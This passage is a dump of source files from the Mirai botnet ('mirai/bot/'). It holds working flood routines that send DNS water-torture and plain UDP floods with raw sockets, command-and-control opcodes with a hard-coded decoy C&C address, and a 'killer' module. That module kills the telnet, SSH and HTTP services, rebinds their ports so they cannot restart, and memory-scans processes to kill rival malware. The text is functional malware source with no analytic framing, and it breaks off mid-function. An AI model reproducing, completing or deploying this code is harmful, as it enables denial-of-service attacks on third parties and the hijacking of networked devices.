domain_len;\n    ipv4_t dns_resolver = get_dns_resolver();\n\n    if (domain == NULL)\n    {\n#ifdef DEBUG\n        printf(\"Cannot send DNS flood without a domain\\n\");\n#endif\n        return;\n    }\n    domain_len = util_strlen(domain);\n\n    if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) == -1)\n    {\n#ifdef DEBUG\n        printf(\"Failed to create raw socket. Aborting attack\\n\");\n#endif\n        return;\n    }\n    i = 1;\n    if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)\n    {\n#ifdef DEBUG\n        printf(\"Failed to set IP_HDRINCL. Aborting\\n\");\n#endif\n        close(fd);\n        return;\n    }\n\n    for (i = 0; i < targs_len; i++)\n    {\n        int ii;\n        uint8_t curr_word_len = 0, num_words = 0;\n        struct iphdr *iph;\n        struct udphdr *udph;\n        struct dnshdr *dnsh;\n        char *qname, *curr_lbl;\n        struct dns_question *dnst;\n\n        pkts[i] = calloc(600, sizeof (char));\n        iph = (struct iphdr *)pkts[i];\n        udph = (struct udphdr *)(iph + 1);\n        dnsh = (struct dnshdr *)(udph + 1);\n        qname = (char *)(dnsh + 1);\n\n        iph->version = 4;\n        iph->ihl = 5;\n        iph->tos = ip_tos;\n        iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 + domain_len + sizeof (struct dns_question));\n        iph->id = htons(ip_ident);\n        iph->ttl = ip_ttl;\n        if (dont_frag)\n            iph->frag_off = htons(1 << 14);\n        iph->protocol = IPPROTO_UDP;\n        iph->saddr = LOCAL_ADDR;\n        iph->daddr = dns_resolver;\n\n        udph->source = htons(sport);\n        udph->dest = htons(dport);\n        udph->len = htons(sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 + domain_len + sizeof (struct dns_question));\n\n        dnsh->id = htons(dns_hdr_id);\n        dnsh->opts = htons(1 << 8); // Recursion desired\n        dnsh->qdcount = htons(1);\n\n        // Fill out random area\n        *qname++ = data_len;\n        qname += data_len;\n\n        curr_lbl = qname;\n        util_memcpy(qname + 1, domain, domain_len + 1); // Null byte at end needed\n\n        // Write in domain\n        for (ii = 0; ii < domain_len; ii++)\n        {\n            if (domain[ii] == '.')\n            {\n                *curr_lbl = curr_word_len;\n                curr_word_len = 0;\n                num_words++;\n                curr_lbl = qname + ii + 1;\n            }\n            else\n                curr_word_len++;\n        }\n        *curr_lbl = curr_word_len;\n\n        dnst = (struct dns_question *)(qname + domain_len + 2);\n        dnst->qtype = htons(PROTO_DNS_QTYPE_A);\n        dnst->qclass = htons(PROTO_DNS_QCLASS_IP);\n    }\n\n    while (TRUE)\n    {\n        for (i = 0; i < targs_len; i++)\n        {\n            char *pkt = pkts[i];\n            struct iphdr *iph = (struct iphdr *)pkt;\n            struct udphdr *udph = (struct udphdr *)(iph + 1);\n            struct dnshdr *dnsh = (struct dnshdr *)(udph + 1);\n            char *qrand = ((char *)(dnsh + 1)) + 1;\n\n            if (ip_ident == 0xffff)\n                iph->id = rand_next() & 0xffff;\n            if (sport == 0xffff)\n                udph->source = rand_next() & 0xffff;\n            if (dport == 0xffff)\n                udph->dest = rand_next() & 0xffff;\n\n            if (dns_hdr_id == 0xffff)\n                dnsh->id = rand_next() & 0xffff;\n\n            rand_alphastr((uint8_t *)qrand, data_len);\n\n            iph->check = 0;\n            iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));\n\n            udph->check = 0;\n            udph->check = checksum_tcpudp(iph, udph, udph->len, sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 + domain_len + sizeof (struct dns_question));\n\n            targs[i].sock_addr.sin_addr.s_addr = dns_resolver;\n            targs[i].sock_addr.sin_port = udph->dest;\n            sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 + domain_len + sizeof (struct dns_question), MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));\n        }\n#ifdef DEBUG\n            break;\n            if (errno != 0)\n                printf(\"errno = %d\\n\", errno);\n#endif\n    }\n}\n\nvoid attack_udp_plain(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)\n{\n#ifdef DEBUG\n    printf(\"in udp plain\\n\");\n#endif\n\n    int i;\n    char **pkts = calloc(targs_len, sizeof (char *));\n    int *fds = calloc(targs_len, sizeof (int));\n    port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);\n    port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);\n    uint16_t data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512);\n    BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);\n    struct sockaddr_in bind_addr = {0};\n\n    if (sport == 0xffff)\n    {\n        sport = rand_next();\n    } else {\n        sport = htons(sport);\n    }\n\n#ifdef DEBUG\n    printf(\"after args\\n\");\n#endif\n\n    for (i = 0; i < targs_len; i++)\n    {\n        struct iphdr *iph;\n        struct udphdr *udph;\n        char *data;\n\n        pkts[i] = calloc(65535, sizeof (char));\n\n        if (dport == 0xffff)\n            targs[i].sock_addr.sin_port = rand_next();\n        else\n            targs[i].sock_addr.sin_port = htons(dport);\n\n        if ((fds[i] = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1)\n        {\n#ifdef DEBUG\n            printf(\"Failed to create udp socket. Aborting attack\\n\");\n#endif\n            return;\n        }\n\n        bind_addr.sin_family = AF_INET;\n        bind_addr.sin_port = sport;\n        bind_addr.sin_addr.s_addr = 0;\n\n        if (bind(fds[i], (struct sockaddr *)&bind_addr, sizeof (struct sockaddr_in)) == -1)\n        {\n#ifdef DEBUG\n            printf(\"Failed to bind udp socket.\\n\");\n#endif\n        }\n\n        // For prefix attacks\n        if (targs[i].netmask < 32)\n            targs[i].sock_addr.sin_addr.s_addr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));\n\n        if (connect(fds[i], (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in)) == -1)\n        {\n#ifdef DEBUG\n            printf(\"Failed to connect udp socket.\\n\");\n#endif\n        }\n    }\n\n#ifdef DEBUG\n    printf(\"after setup\\n\");\n#endif\n\n    while (TRUE)\n    {\n        for (i = 0; i < targs_len; i++)\n        {\n            char *data = pkts[i];\n\n            // Randomize packet content?\n            if (data_rand)\n                rand_str(data, data_len);\n\n#ifdef DEBUG\n            errno = 0;\n            if (send(fds[i], data, data_len, MSG_NOSIGNAL) == -1)\n            {\n                printf(\"send failed: %d\\n\", errno);\n            } else {\n                printf(\".\\n\");\n            }\n#else\n            send(fds[i], data, data_len, MSG_NOSIGNAL);\n#endif\n        }\n#ifdef DEBUG\n            break;\n            if (errno != 0)\n                printf(\"errno = %d\\n\", errno);\n#endif\n    }\n}\n\nstatic ipv4_t get_dns_resolver(void)\n{\n    int fd;\n\n    table_unlock_val(TABLE_ATK_RESOLVER);\n    fd = open(table_retrieve_val(TABLE_ATK_RESOLVER, NULL), O_RDONLY);\n    table_lock_val(TABLE_ATK_RESOLVER);\n    if (fd >= 0)\n    {\n        int ret, nspos;\n        char resolvbuf[2048];\n\n        ret = read(fd, resolvbuf, sizeof (resolvbuf));\n        close(fd);\n        table_unlock_val(TABLE_ATK_NSERV);\n        nspos = util_stristr(resolvbuf, ret, table_retrieve_val(TABLE_ATK_NSERV, NULL));\n        table_lock_val(TABLE_ATK_NSERV);\n        if (nspos != -1)\n        {\n            int i;\n            char ipbuf[32];\n            BOOL finished_whitespace = FALSE;\n            BOOL found = FALSE;\n\n            for (i = nspos; i < ret; i++)\n            {\n                char c = resolvbuf[i];\n\n                // Skip leading whitespace\n                if (!finished_whitespace)\n                {\n                    if (c == ' ' || c == '\\t')\n                        continue;\n                    else\n                        finished_whitespace = TRUE;\n                }\n\n                // End if c is not either a dot or a number\n                if ((c != '.' && (c < '0' || c > '9')) || (i == (ret - 1)))\n                {\n                    util_memcpy(ipbuf, resolvbuf + nspos, i - nspos);\n                    ipbuf[i - nspos] = 0;\n                    found = TRUE;\n                    break;\n                }\n            }\n\n            if (found)\n            {\n#ifdef DEBUG\n                printf(\"Found local resolver: '%s'\\n\", ipbuf);\n#endif\n                return inet_addr(ipbuf);\n            }\n        }\n    }\n\n    switch (rand_next() % 4)\n    {\n    case 0:\n        return INET_ADDR(8,8,8,8);\n    case 1:\n        return INET_ADDR(74,82,42,42);\n    case 2:\n        return INET_ADDR(64,6,64,6);\n    case 3:\n        return INET_ADDR(4,2,2,2);\n    }\n}\n"
  },
  {
    "path": "mirai/bot/checksum.c",
    "content": "#define _GNU_SOURCE\n\n#include <arpa/inet.h>\n#include <linux/ip.h>\n\n#include \"includes.h\"\n#include \"checksum.h\"\n\nuint16_t checksum_generic(uint16_t *addr, uint32_t count)\n{\n    register unsigned long sum = 0;\n\n    for (sum = 0; count > 1; count -= 2)\n        sum += *addr++;\n    if (count == 1)\n        sum += (char)*addr;\n\n    sum = (sum >> 16) + (sum & 0xFFFF);\n    sum += (sum >> 16);\n    \n    return ~sum;\n}\n\nuint16_t checksum_tcpudp(struct iphdr *iph, void *buff, uint16_t data_len, int len)\n{\n    const uint16_t *buf = buff;\n    uint32_t ip_src = iph->saddr;\n    uint32_t ip_dst = iph->daddr;\n    uint32_t sum = 0;\n    int length = len;\n    \n    while (len > 1)\n    {\n        sum += *buf;\n        buf++;\n        len -= 2;\n    }\n\n    if (len == 1)\n        sum += *((uint8_t *) buf);\n\n    sum += (ip_src >> 16) & 0xFFFF;\n    sum += ip_src & 0xFFFF;\n    sum += (ip_dst >> 16) & 0xFFFF;\n    sum += ip_dst & 0xFFFF;\n    sum += htons(iph->protocol);\n    sum += data_len;\n\n    while (sum >> 16) \n        sum = (sum & 0xFFFF) + (sum >> 16);\n\n    return ((uint16_t) (~sum));\n}\n"
  },
  {
    "path": "mirai/bot/checksum.h",
    "content": "#pragma once\n\n#include <stdint.h>\n#include <linux/ip.h>\n\n#include \"includes.h\"\n\nuint16_t checksum_generic(uint16_t *, uint32_t);\nuint16_t checksum_tcpudp(struct iphdr *, void *, uint16_t, int);\n"
  },
  {
    "path": "mirai/bot/includes.h",
    "content": "#pragma once\n\n#include <unistd.h>\n#include <stdint.h>\n#include <stdarg.h>\n\n#define STDIN   0\n#define STDOUT  1\n#define STDERR  2\n\n#define FALSE   0\n#define TRUE    1\ntypedef char BOOL;\n\ntypedef uint32_t ipv4_t;\ntypedef uint16_t port_t;\n\n#define INET_ADDR(o1,o2,o3,o4) (htonl((o1 << 24) | (o2 << 16) | (o3 << 8) | (o4 << 0)))\n\n#define SINGLE_INSTANCE_PORT 48101\n\n#define FAKE_CNC_ADDR   INET_ADDR(65,222,202,53)\n#define FAKE_CNC_PORT   80\n\n#define CNC_OP_PING         0x00\n#define CNC_OP_KILLSELF     0x10\n#define CNC_OP_KILLATTKS    0x20\n#define CNC_OP_PROXY        0x30\n#define CNC_OP_ATTACK       0x40\n\nipv4_t LOCAL_ADDR;\n\n#ifdef DEBUG\nstatic char *outptr;\nstatic void xputc(char c)\n{\n\tif (outptr) {\n\t\t*outptr++ = (unsigned char)c;\n\t\treturn;\n\t} else {\n\t\twrite(0, &c, 1);\n\t}\n}\n\nstatic void xputs(const char *str)\n{\n\twhile (*str)\n\t\txputc(*str++);\n}\n\nstatic void xvprintf(const char *fmt, va_list arp)\n{\n\tunsigned int r, i, j, w, f;\n\tunsigned long v;\n\tchar s[16], c, d, *p;\n\tfor (;;) {\n\t\tc = *fmt++;\t\t\t\t\t/* Get a char */\n\t\tif (!c) break;\t\t\t\t/* End of format? */\n\t\tif (c != '%') {\t\t\t\t/* Pass through it if not a % sequense */\n\t\t\txputc(c); continue;\n\t\t}\n\t\tf = 0;\n\t\tc = *fmt++;\t\t\t\t\t/* Get first char of the sequense */\n\t\tif (c == '0') {\t\t\t\t/* Flag: '0' padded */\n\t\t\tf = 1; c = *fmt++;\n\t\t} else {\n\t\t\tif (c == '-') {\t\t\t/* Flag: left justified */\n\t\t\t\tf = 2; c = *fmt++;\n\t\t\t}\n\t\t}\n\t\tfor (w = 0; c >= '0' && c <= '9'; c = *fmt++)\t/* Minimum width */\n\t\t\tw = w * 10 + c - '0';\n\t\tif (c == 'l' || c == 'L') {\t/* Prefix: Size is long int */\n\t\t\tf |= 4; c = *fmt++;\n\t\t}\n\t\tif (!c) break;\t\t\t\t/* End of format? */\n\t\td = c;\n\t\t//toupper\n\t\tif (d >= 'a') d -= 0x20;\n\t\tswitch (d) {\t\t\t\t/* Type is... */\n\t\tcase 'S' :\t\t\t\t\t/* String */\n\t\t\tp = va_arg(arp, char*);\n\t\t\tfor (j = 0; p[j]; j++) ;\n\t\t\twhile (!(f & 2) && j++ < w) xputc(' ');\n\t\t\txputs(p);\n\t\t\twhile (j++ < w) xputc(' ');\n\t\t\tcontinue;\n\t\tcase 'C' :\t\t\t\t\t/* Character */\n\t\t\txputc((char)va_arg(arp, int)); continue;\n\t\tcase 'B' :\t\t\t\t\t/* Binary */\n\t\t\tr = 2; break;\n\t\tcase 'O' :\t\t\t\t\t/* Octal */\n\t\t\tr = 8; break;\n\t\tcase 'D' :\t\t\t\t\t/* Signed decimal */\n\t\tcase 'U' :\t\t\t\t\t/* Unsigned decimal */\n\t\t\tr = 10; break;\n\t\tcase 'X' :\t\t\t\t\t/* Hexdecimal */\n\t\t\tr = 16; break;\n\t\tdefault:\t\t\t\t\t/* Unknown type (passthrough) */\n\t\t\txputc(c); continue;\n\t\t}\n\n\t\t/* Get an argument and put it in numeral */\n\t\tv = (f & 4) ? va_arg(arp, long) : ((d == 'D') ? (long)va_arg(arp, int) : (long)va_arg(arp, unsigned int));\n\t\tif (d == 'D' && (v & 0x80000000)) {\n\t\t\tv = 0 - v;\n\t\t\tf |= 8;\n\t\t}\n\t\ti = 0;\n\t\tdo {\n\t\t\td = (char)(v % r); v /= r;\n\t\t\tif (d > 9) d += (c == 'x') ? 0x27 : 0x07;\n\t\t\ts[i++] = d + '0';\n\t\t} while (v && i < sizeof(s));\n\t\tif (f & 8) s[i++] = '-';\n\t\tj = i; d = (f & 1) ? '0' : ' ';\n\t\twhile (!(f & 2) && j++ < w) xputc(d);\n\t\tdo xputc(s[--i]); while(i);\n\t\twhile (j++ < w) xputc(' ');\n\t}\n}\n\nstatic void xprintf(const char *fmt, ...)\n{\n\tva_list arp;\n\tva_start(arp, fmt);\n\txvprintf(fmt, arp);\n\tva_end(arp);\n}\n#define printf xprintf\n\n#endif\n\n"
  },
  {
    "path": "mirai/bot/killer.c",
    "content": "#define _GNU_SOURCE\n\n#ifdef DEBUG\n#include <stdio.h>\n#endif\n#include <unistd.h>\n#include <stdlib.h>\n#include <arpa/inet.h>\n#include <linux/limits.h>\n#include <sys/types.h>\n#include <dirent.h>\n#include <signal.h>\n#include <fcntl.h>\n#include <time.h>\n\n#include \"includes.h\"\n#include \"killer.h\"\n#include \"table.h\"\n#include \"util.h\"\n\nint killer_pid;\nchar *killer_realpath;\nint killer_realpath_len = 0;\n\nvoid killer_init(void)\n{\n    int killer_highest_pid = KILLER_MIN_PID, last_pid_scan = time(NULL), tmp_bind_fd;\n    uint32_t scan_counter = 0;\n    struct sockaddr_in tmp_bind_addr;\n\n    // Let parent continue on main thread\n    killer_pid = fork();\n    if (killer_pid > 0 || killer_pid == -1)\n        return;\n\n    tmp_bind_addr.sin_family = AF_INET;\n    tmp_bind_addr.sin_addr.s_addr = INADDR_ANY;\n\n    // Kill telnet service and prevent it from restarting\n#ifdef KILLER_REBIND_TELNET\n#ifdef DEBUG\n    printf(\"[killer] Trying to kill port 23\\n\");\n#endif\n    if (killer_kill_by_port(htons(23)))\n    {\n#ifdef DEBUG\n        printf(\"[killer] Killed tcp/23 (telnet)\\n\");\n#endif\n    } else {\n#ifdef DEBUG\n        printf(\"[killer] Failed to kill port 23\\n\");\n#endif\n    }\n    tmp_bind_addr.sin_port = htons(23);\n\n    if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1)\n    {\n        bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in));\n        listen(tmp_bind_fd, 1);\n    }\n#ifdef DEBUG\n    printf(\"[killer] Bound to tcp/23 (telnet)\\n\");\n#endif\n#endif\n\n    // Kill SSH service and prevent it from restarting\n#ifdef KILLER_REBIND_SSH\n    if (killer_kill_by_port(htons(22)))\n    {\n#ifdef DEBUG\n        printf(\"[killer] Killed tcp/22 (SSH)\\n\");\n#endif\n    }\n    tmp_bind_addr.sin_port = htons(22);\n\n    if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1)\n    {\n        bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in));\n        listen(tmp_bind_fd, 1);\n    }\n#ifdef DEBUG\n    printf(\"[killer] Bound to tcp/22 (SSH)\\n\");\n#endif\n#endif\n\n    // Kill HTTP service and prevent it from restarting\n#ifdef KILLER_REBIND_HTTP\n    if (killer_kill_by_port(htons(80)))\n    {\n#ifdef DEBUG\n        printf(\"[killer] Killed tcp/80 (http)\\n\");\n#endif\n    }\n    tmp_bind_addr.sin_port = htons(80);\n\n    if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1)\n    {\n        bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in));\n        listen(tmp_bind_fd, 1);\n    }\n#ifdef DEBUG\n    printf(\"[killer] Bound to tcp/80 (http)\\n\");\n#endif\n#endif\n\n    // In case the binary is getting deleted, we want to get the REAL realpath\n    sleep(5);\n\n    killer_realpath = malloc(PATH_MAX);\n    killer_realpath[0] = 0;\n    killer_realpath_len = 0;\n\n    if (!has_exe_access())\n    {\n#ifdef DEBUG\n        printf(\"[killer] Machine does not have /proc/$pid/exe\\n\");\n#endif\n        return;\n    }\n#ifdef DEBUG\n    printf(\"[killer] Memory scanning processes\\n\");\n#endif\n\n    while (TRUE)\n    {\n        DIR *dir;\n        struct dirent *file;\n\n        table_unlock_val(TABLE_KILLER_PROC);\n        if ((dir = opendir(table_retrieve_val(TABLE_KILLER_PROC, NULL))) == NULL)\n        {\n#ifdef DEBUG\n            printf(\"[killer] Failed to open /proc!\\n\");\n#endif\n            break;\n        }\n        table_lock_val(TABLE_KILLER_PROC);\n\n        while ((file = readdir(dir)) != NULL)\n        {\n            // skip all folders that are not PIDs\n            if (*(file->d_name) < '0' || *(file->d_name) > '9')\n                continue;\n\n            char exe_path[64], *ptr_exe_path = exe_path, realpath[PATH_MAX];\n            char status_path[64], *ptr_status_path = status_path;\n            int rp_len, fd, pid = atoi(file->d_name);\n\n            scan_counter++;\n            if (pid <= killer_highest_pid)\n            {\n                if (time(NULL) - last_pid_scan > KILLER_RESTART_SCAN_TIME) // If more than KILLER_RESTART_SCAN_TIME has passed, restart scans from lowest PID for process wrap\n                {\n#ifdef DEBUG\n                    printf(\"[killer] %d seconds have passed since last scan. Re-scanning all processes!\\n\", KILLER_RESTART_SCAN_TIME);\n#endif\n                    killer_highest_pid = KILLER_MIN_PID;\n                }\n                else\n                {\n                    if (pid > KILLER_MIN_PID && scan_counter % 10 == 0)\n                        sleep(1); // Sleep so we can wait for another process to spawn\n                }\n\n                continue;\n            }\n            if (pid > killer_highest_pid)\n                killer_highest_pid = pid;\n            last_pid_scan = time(NULL);\n\n            table_unlock_val(TABLE_KILLER_PROC);\n            table_unlock_val(TABLE_KILLER_EXE);\n\n            // Store /proc/$pid/exe into exe_path\n            ptr_exe_path += util_strcpy(ptr_exe_path, table_retrieve_val(TABLE_KILLER_PROC, NULL));\n            ptr_exe_path += util_strcpy(ptr_exe_path, file->d_name);\n            ptr_exe_path += util_strcpy(ptr_exe_path, table_retrieve_val(TABLE_KILLER_EXE, NULL));\n\n            // Store /proc/$pid/status into status_path\n            ptr_status_path += util_strcpy(ptr_status_path, table_retrieve_val(TABLE_KILLER_PROC, NULL));\n            ptr_status_path += util_strcpy(ptr_status_path, file->d_name);\n            ptr_status_path += util_strcpy(ptr_status_path, table_retrieve_val(TABLE_KILLER_STATUS, NULL));\n\n            table_lock_val(TABLE_KILLER_PROC);\n            table_lock_val(TABLE_KILLER_EXE);\n\n            // Resolve exe_path (/proc/$pid/exe) -> realpath\n            if ((rp_len = readlink(exe_path, realpath, sizeof (realpath) - 1)) != -1)\n            {\n                realpath[rp_len] = 0; // Nullterminate realpath, since readlink doesn't guarantee a null terminated string\n\n                table_unlock_val(TABLE_KILLER_ANIME);\n                // If path contains \".anime\" kill.\n                if (util_stristr(realpath, rp_len - 1, table_retrieve_val(TABLE_KILLER_ANIME, NULL)) != -1)\n                {\n                    unlink(realpath);\n                    kill(pid, 9);\n                }\n                table_lock_val(TABLE_KILLER_ANIME);\n\n                // Skip this file if its realpath == killer_realpath\n                if (pid == getpid() || pid == getppid() || util_strcmp(realpath, killer_realpath))\n                    continue;\n\n                if ((fd = open(realpath, O_RDONLY)) == -1)\n                {\n#ifdef DEBUG\n                    printf(\"[killer] Process '%s' has deleted binary!\\n\", realpath);\n#endif\n                    kill(pid, 9);\n                }\n                close(fd);\n            }\n\n            if (memory_scan_match(exe_path))\n            {\n#ifdef DEBUG\n                printf(\"[killer] Memory scan match for binary %s\\n\", exe_path);\n#endif\n                kill(pid, 9);\n            } \n\n            /*\n            if (upx_scan_match(exe_path, status_path))\n            {\n#ifdef DEBUG\n                printf(\"[killer] UPX scan match for binary %s\\n\", exe_path);\n#endif\n                kill(pid, 9);\n            }\n            */\n\n            // Don't let others memory scan!!!\n            util_zero(exe_path, sizeof (exe_path));\n            util_zero(status_path, sizeof (status_path));\n\n            sleep(1);\n        }\n\n        closedir(dir);\n    }\n\n#ifdef DEBUG\n    printf(\"[killer] Finished\\n\");\n#endif\n}\n\nvoid killer_kill(void)\n{\n    kill(killer_pid, 9);\n}\n\nBOOL killer_kill_by_port(port_t port)\n{\n    DIR *dir, *fd_dir;\n    struct dirent *entry, *fd_entry;\n    char path[PATH_MAX] = {0}, exe[PATH_MAX] = {0}, buffer[513] = {0};\n    int pid = 0, fd = 0;\n    char inode[16] = {0};\n    char *ptr_path = path;\n    int ret = 0;\n    char port_str[16];\n\n#ifdef DEBUG\n    printf(\"[killer] Finding and killing processes holding port %d\\n\", ntohs(port));\n#endif\n\n    util_itoa(ntohs(port), 16, port_str);\n    if (util_strlen(port_str) == 2)\n    {\n        port_str[2] = port_str[0];\n        port_str[3] = port_str[1];\n        port_str[4] = 0;\n\n        port_str[0] = '0';\n        port_str[1] = '0';\n    }\n\n    table_unlock_val(TABLE_KILLER_PROC);\n    table_unlock_val(TABLE_KILLER_EXE);\n    table_unlock_val(TABLE_KILLER_FD);\n\n    fd = open(\"/proc/net/tcp\", O_RDONLY);\n    if (fd == -1)\n        return 0;\n\n    while (util_fdgets(buffer, 512, fd) != NULL)\n    {\n        int i = 0, ii = 0;\n\n        while (buffer[i] != 0 && buffer[i] != ':')\n            i++;\n\n        if (buffer[i] == 0) continue;\n        i += 2;\n        ii = i;\n\n        while (buffer[i] != 0 && buffer[i] != ' ')\n            i++;\n        buffer[i++] = 0;\n\n        // Compare the entry in /proc/net/tcp to the hex value of the htons port\n        if (util_stristr(&(buffer[ii]), util_strlen(&(buffer[ii])), port_str) != -1)\n        {\n            int column_index = 0;\n            BOOL in_column = FALSE;\n            BOOL listening_state = FALSE;\n\n            while (column_index < 7 && buffer[++i] != 0)\n            {\n                if (buffer[i] == ' ' || buffer[i] == '\\t')\n                    in_column = TRUE;\n                else\n                {\n                    if (in_column == TRUE)\n                        column_index++;\n\n                    if (in_column == TRUE && column_index == 1 && buffer[i + 1] == 'A')\n                    {\n                        listening_state = TRUE;\n                    }\n\n                    in_column = FALSE;\n                }\n            }\n            ii = i;\n\n            if (listening_state == FALSE)\n                continue;\n\n            while (buffer[i] != 0 && buffer[i] != ' ')\n                i++;\n            buffer[i++] = 0;\n\n            if (util_strlen(&(buffer[ii])) > 15)\n                continue;\n\n            util_strcpy(inode, &(buffer[ii]));\n            break;\n        }\n    }\n    close(fd);\n\n    // If we failed to find it, lock everything and move on\n    if (util_strlen(inode) == 0)\n    {\n#ifdef DEBUG\n        printf(\"Failed to find inode for port %d\\n\", ntohs(port));\n#endif\n        table_lock_val(TABLE_KILLER_PROC);\n        table_lock_val(TABLE_KILLER_EXE);\n        table_lock_val(TABLE_KILLER_FD);\n\n        return 0;\n    }\n\n#ifdef DEBUG\n    printf(\"Found inode \\\"%s\\\" for port %d\\n\", inode, ntohs(port));\n#endif\n\n    if ((dir = opendir(table_retrieve_val(TABLE_KILLER_PROC, NULL))) != NULL)\n    {\n        while ((entry = readdir(dir)) != NULL && ret == 0)\n        {\n            char *pid = entry->d_name;\n\n            // skip all folders that are not PIDs\n            if (*pid < '0' || *pid > '9')\n                continue;\n\n            util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_PROC, NULL));\n            util_strcpy(ptr_path + util_strlen(ptr_path), pid);\n            util_strcpy(ptr_path + util_strlen(ptr_path), table_retrieve_val(TABLE_KILLER_EXE, NULL));\n\n            if (readlink(path, exe, PATH_MAX) == -1)\n                continue;\n\n            util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_PROC, NULL));\n            util_strcpy(ptr_path + util_strlen(ptr_path), pid);\n            util_strcpy(ptr_path + util_strlen(ptr_path), table_retrieve_val(TABLE_KILLER_FD, NULL));\n            if ((fd_dir = opendir(path)) != NULL)\n            {\n                while ((fd_entry = readdir(fd_dir)) != NULL && ret == 0)\n                {\n                    char *fd_str = fd_entry->d_name;\n\n                    util_zero(exe, PATH_MAX);\n                    util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_PROC, NULL));\n                    util_strcpy(ptr_path + util_strlen(ptr_path), pid);\n                    util_strcpy(ptr_path + util_strlen(ptr_path), table_retrieve_val(TABLE_KILLER_FD, NULL));\n                    util_strcpy(ptr_path + util_strlen(ptr_path), \"/\");\n                    util_strcpy(ptr_path + util_strlen(ptr_path), fd_str);\n                    if (readlink(path, exe, PATH_MAX) == -1)\n                        continue;\n\n                    if (util_stristr(exe, util_strlen(exe), inode) != -1)\n                    {\n#ifdef DEBUG\n                        printf(\"[killer] Found pid %d for port %d\\n\", util_atoi(pid, 10), ntohs(port));\n#else\n                        kill(util_atoi(pid, 10), 9);\n#endif\n                        ret = 1;\n                    }\n                }\n                closedir(fd_dir);\n            }\n        }\n        closedir(dir);\n    }\n\n    sleep(1);\n\n    table_lock_val(TABLE_KILLER_PROC);\n    table_lock_val(TABLE_KILLER_EXE);\n    table_lock_val(TABLE_KILLER_FD);\n\n    return ret;\n}\n\nstatic BOOL has_exe_access(void)\n{\n    char path[PATH_MAX], *ptr_path = path, tmp[16];\n    int fd, k_rp_len;\n\n    table_unlock_val(TABLE_KILLER_PROC);\n    table_unlock_val(TABLE_KILLER_EXE);\n\n    // Copy /proc/$pid/exe into path\n    ptr_path += util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_PROC, NULL));\n    ptr_path += util_strcpy(ptr_path, util_itoa(getpid(), 10, tmp));\n    ptr_path += util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_EXE, NULL));\n\n    // Try to open file\n    if ((fd = open(path, O_RDONLY)) == -1)\n    {\n#ifdef DEBUG\n        printf(\"[killer] Failed to open()\\n\");\n#endif\n        return FALSE;\n    }\n    close(fd);\n\n    table_lock_val(TABLE_KILLER_PROC);\n    table_lock_val(TABLE_KILLER_EXE);\n\n    if ((k_rp_len = readlink(path, killer_realpath, PATH_MAX - 1)) != -1)\n    {\n        killer_realpath[k_rp_len] = 0;\n#ifdef DEBUG\n        printf(\"[killer] Detected we are running out of `%s`\\n\", killer_realpath);\n#endif\n    }\n\n    util_zero(path, ptr_path - path);\n\n    return TRUE;\n}\n\n/*\nstatic BOOL status_upx_check(char *exe_path, char *status_path)\n{\n    int fd, ret;\n\n    if ((fd = open(exe_path, O_RDONLY)) != -1)\n    {\n        close(fd);\n        return FALSE;\n    }\n\n    if ((fd = open(status_path, O_RDONLY)) == -1)\n        return FALSE;\n\n    while ((ret = read(fd, rdbuf, sizeof (rdbuf))) > 0)\n    {\n        if (mem_exists(rdbuf, ret, m_qbot_report, m_qbot_len) ||\n            mem_exists(rdbuf, ret, m_qbot_http, m_qbot2_len) ||\n            mem_exists(rdbuf, ret, m_qbot_dup, m_qbot3_len) ||\n            mem_exists(rdbuf, ret, m_upx_str, m_upx_len) ||\n            mem_exists(rdbuf, ret, m_zollard, m_zollard_len))\n        {\n            found = TRUE;\n            break;\n        }\n    }\n\n    //eyy\n\n    close(fd);\n    return FALSE;\n}\n*/\n\nstatic BOOL memory_scan_match(char *path)\n{\n    int fd, ret;\n    char rdbuf[4096];\n    char *m_qbot_report, *m_qbot_http, *m_qbot_dup, *m_upx_str, *m_zollard;\n    int m_qbot_len, m_qbot2_len, m_qbot3_len, m_upx_len, m_zollard_len;\n    BOOL found = FALSE;\n\n    if ((fd = open(path, O_RDONLY)) == -1)\n        return FALSE;\n\n    table_unlock_val(TABLE_MEM_QBOT);\n    table_unlock_val(TABLE_MEM_QBOT2);\n    table_unlock_val(TABLE_MEM_QBOT3);\n    table_unlock_val(TABLE_MEM_UPX);\n    table_unlock_val(TABLE_MEM_ZOLLARD);\n\n    m_qbot_report = table_retrieve_val(TABLE_MEM_QBOT, &m_qbot_len);\n    m_qbot_http = table_retrieve_val(TABLE_MEM_QBOT2, &m_qbot2_len);\n    m_qbot_dup = 